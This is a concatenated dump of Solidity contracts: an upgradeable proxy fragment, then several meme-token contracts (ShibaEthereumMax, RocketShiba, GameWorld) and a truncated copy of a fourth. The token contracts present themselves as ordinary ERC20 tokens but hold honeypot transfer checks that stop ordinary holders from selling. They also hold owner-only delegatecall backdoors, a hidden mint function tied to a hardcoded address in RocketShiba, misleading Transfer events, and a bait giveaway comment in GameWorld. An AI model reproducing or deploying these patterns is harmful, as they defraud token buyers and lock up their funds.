* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title InitializableAdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for
* initializing the implementation, admin, and init data.
*/
contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy {
/**
* Contract initializer.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _admin, address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
InitializableUpgradeabilityProxy.initialize(_logic, _data);
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
function _willFallback() override(Proxy, BaseAdminUpgradeabilityProxy) internal {
super._willFallback();
}
}
interface IProxyFactory {
function productImplementation() external view returns (address);
function productImplementations(bytes32 name) external view returns (address);
}
/**
* @title ProductProxy
* @dev This contract implements a proxy that
* it is deploied by ProxyFactory,
* and it's implementation is stored in factory.
*/
contract ProductProxy is Proxy {
/**
* @dev Storage slot with the address of the ProxyFactory.
* This is the keccak-256 hash of "eip1967.proxy.factory" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant FACTORY_SLOT = 0x7a45a402e4cb6e08ebc196f20f66d5d30e67285a2a8aa80503fa409e727a4af1;
function productName() virtual public pure returns (bytes32) {
return 0x0;
}
/**
* @dev Sets the factory address of the ProductProxy.
* @param newFactory Address of the new factory.
*/
function _setFactory(address newFactory) internal {
require(OpenZeppelinUpgradesAddress.isContract(newFactory), "Cannot set a factory to a non-contract address");
bytes32 slot = FACTORY_SLOT;
assembly {
sstore(slot, newFactory)
}
}
/**
* @dev Returns the factory.
* @return factory Address of the factory.
*/
function _factory() internal view returns (address factory) {
bytes32 slot = FACTORY_SLOT;
assembly {
factory := sload(slot)
}
}
/**
* @dev Returns the current implementation.
* @return Address of the current implementation
*/
function _implementation() virtual override internal view returns (address) {
address factory = _factory();
if(OpenZeppelinUpgradesAddress.isContract(factory))
return IProxyFactory(factory).productImplementations(productName());
else
return address(0);
}
}
/**
* @title InitializableProductProxy
* @dev Extends ProductProxy with an initializer for initializing
* factory and init data.
*/
contract InitializableProductProxy is ProductProxy {
/**
* @dev Contract initializer.
* @param factory Address of the initial factory.
* @param data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address factory, bytes memory data) public payable {
require(_factory() == address(0));
assert(FACTORY_SLOT == bytes32(uint256(keccak256('eip1967.proxy.factory')) - 1));
_setFactory(factory);
if(data.length > 0) {
(bool success,) = _implementation().delegatecall(data);
require(success);
}
}
}
/**
* Utility library of inline functions on addresses
*
* Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol
* This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts
* when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the
* build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version.
*/
library OpenZeppelinUpgradesAddress {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
|
DC1
|
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract ShibaEthereumMax {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
/**
*Submitted for verification at Etherscan.io on 2021-06-16
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract RocketShiba{
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
/**
* Game world
* 10 people will be randomly drawn, and each person can get 0.5ETH reward.
* 1st place holding ETHHE: reward 10ETH
* 2nd place holding ETHHE: Reward 5ETH
* 3rd place with ETHHE: reward 3ETH
* 4th place holding ETHHE: reward 2ETH
* 5th place holding ETHHE: reward 1ETH
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract GameWorld {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
/**
*Submitted for verification at Etherscan.io on 2021-06-16
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
